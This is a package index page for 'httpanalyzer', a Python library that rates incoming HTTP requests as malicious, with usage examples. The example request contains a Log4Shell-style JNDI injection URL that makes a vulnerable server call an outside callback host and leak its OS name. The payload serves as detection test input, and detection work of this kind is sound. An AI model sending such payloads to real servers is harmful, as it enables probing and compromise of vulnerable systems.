Library for analyzing http-requests
Project description
httpanalyzer
This is a python library for analyzing http-request. Useful to reduce unnecessary traffic.
License
This project is licensed under the MIT-license. See LICENSE.txt for more information.
Installing
Make sure pip3 is installed and up to date before executing this command.
pip3 install httpanalyzer
Usage
Import the library:
import httpanalyzer
Create a new request instance:
instance = httpanalyzer.Request(http_headers, ip, url, admin_panels)
Print the malicious rating:
print(instance.malicious())
Example
import httpanalyzer
instance = httpanalyzer.Request(
{'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive',
'Host': '127.0.0.1:80',
'User-Agent': 'curl/7.82.0'},
'159.223.205.51',
'/api/geojson?url=${jndi:ldap://${sys:os.name}.cd387hid68000106u4rtc.oast.me}',
['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin']
)
print(f"Malicious rating: {instance.malicious() * 100}%")
Admin Panels
To reduce the amount of false positives, specify all admin panels you are using. For WordPress this would be ['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin'].
Flask
httpanalyzer natively supports flask request objects:
instance = httpanalyzer.FlaskRequest(flask.request)
Dependencies
Python 3.6 or newer is required. Older versions do not work.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file httpanalyzer-0.1.6.tar.gz.
File metadata
- Download URL: httpanalyzer-0.1.6.tar.gz
- Upload date:
- Size: 9.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.11.1
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7d657f6d970ae53ce1896eb35775d6ccb4df177df7046b55b41224b327600447
|
|
| MD5 |
55910f7f0e574ddaee736ab9f2cd40ff
|
|
| BLAKE2b-256 |
c5d0f55b5826fcc3418ed00da1f85007f90ffee003cb62d0b25372bf990c2095
|
File details
Details for the file httpanalyzer-0.1.6-py3-none-any.whl.
File metadata
- Download URL: httpanalyzer-0.1.6-py3-none-any.whl
- Upload date:
- Size: 9.3 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.11.1
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b14fc9ee3a50a4ae0278feff2745fdac99931895538fe4f39893ca579035c28a
|
|
| MD5 |
cfd0af8fb926b08ad0eebff8b5f7b960
|
|
| BLAKE2b-256 |
ca5adbe98d28456bef60ea302ccaff61952e429fd98d13e4b7d93b639aa7c95b
|